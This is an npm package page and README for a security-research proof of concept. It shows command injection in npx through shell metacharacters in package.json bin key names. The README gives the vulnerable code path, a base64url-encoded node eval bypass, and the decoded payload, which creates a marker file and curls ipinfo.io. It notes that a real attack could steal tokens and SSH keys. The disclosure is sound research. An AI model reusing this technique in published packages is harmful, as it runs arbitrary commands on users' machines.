@ghostsecurity/npx-bin-key-poc
v0.0.2
Published
Security research PoC: command injection via crafted bin key names in npx
Readme
@ghostsecurity/npx-bin-key-poc
Security research PoC demonstrating command injection via crafted bin key
names in npx / libnpmexec.
This package is for authorized security research only. The injected
commands create an empty marker file (npx-poc-pwned) and fetch your public
IP info from ipinfo.io to demonstrate network exfiltration capability.
Vulnerability
A malicious package author can set bin key names in package.json containing
POSIX shell metacharacters. When a victim runs npx <package>, the bin key
is extracted from the fetched manifest, wrapped in double quotes, and passed
to sh -c. Double quotes do not prevent $() command substitution in
POSIX sh. The escape.sh() function that properly single-quotes values is
applied to arguments only — never to the command name.
The consent prompt displays only the package name and version. The malicious bin key name is never shown to the user.
Reproduction
# From any directory:
npx @ghostsecurity/npx-bin-key-poc
# After the command exits:
ls -la npx-poc-pwned
# If this file exists, command injection occurred.What happens
1. npx fetches the manifest for @ghostsecurity/npx-bin-key-poc
2. Consent prompt shows: "Need to install: @ghostsecurity/[email protected]"
3. User approves — bin key name is NOT visible
4. getBinFromManifest() returns the bin key containing $(node -e "eval(...)")
5. run-script.js wraps it in double quotes (which don't prevent $() expansion)
6. promise-spawn builds: sh -c '"$(node -e "eval(...)")"'
7. Shell evaluates $() — Node decodes and executes the base64url payload:
a. touch npx-poc-pwned — creates marker file in cwd
b. curl -s ipinfo.io — fetches victim's public IP info
c. writes response to stderr — displayed on victim's terminal
8. $() captures empty stdout — command becomes "" — "command not found"The injected commands have already executed at step 7.
Payload technique
Bin key names are normalized by normalizePackageBin() which runs
path.basename() (strips /) and secureAndUnixifyPath() (replaces \
and : with /). This means the bin key cannot contain /, \, or :.
To bypass this, the payload is encoded as JavaScript, base64url-encoded
(alphabet A-Za-z0-9-_ — no forbidden characters), and decoded at runtime
via node -e "eval(Buffer.from('...','base64url').toString())". Since
npx requires Node.js, node is always available. This allows arbitrary
commands including complex URLs with paths and query parameters.
The decoded JavaScript:
const e = require("child_process").execSync;
e("touch npx-poc-pwned");
process.stderr.write(e("curl -s ipinfo.io"));
process.stderr.write("\n");Affected code path
libnpmexec/lib/get-bin-from-manifest.js:7— returnsObject.keys(bin)[0]without validationlibnpmexec/lib/run-script.js:22—args[0] = '"' + args[0] + '"'(double quotes, not single)@npmcli/promise-spawn/lib/index.js:78,118-121—escape.sh()applied to args, not command name
Impact
Arbitrary command execution as the victim user. An attacker publishes a
package to any npm registry. The victim runs npx <package> and approves
the install prompt (which reveals nothing suspicious). The injected commands
run with the victim's full privileges.
A real attacker could exfiltrate environment variables, tokens, SSH keys,
or install persistent backdoors — all triggered by a single npx invocation.
Variants: $(), backtick `...`, and double-quote breakout "$(...)"
all work.
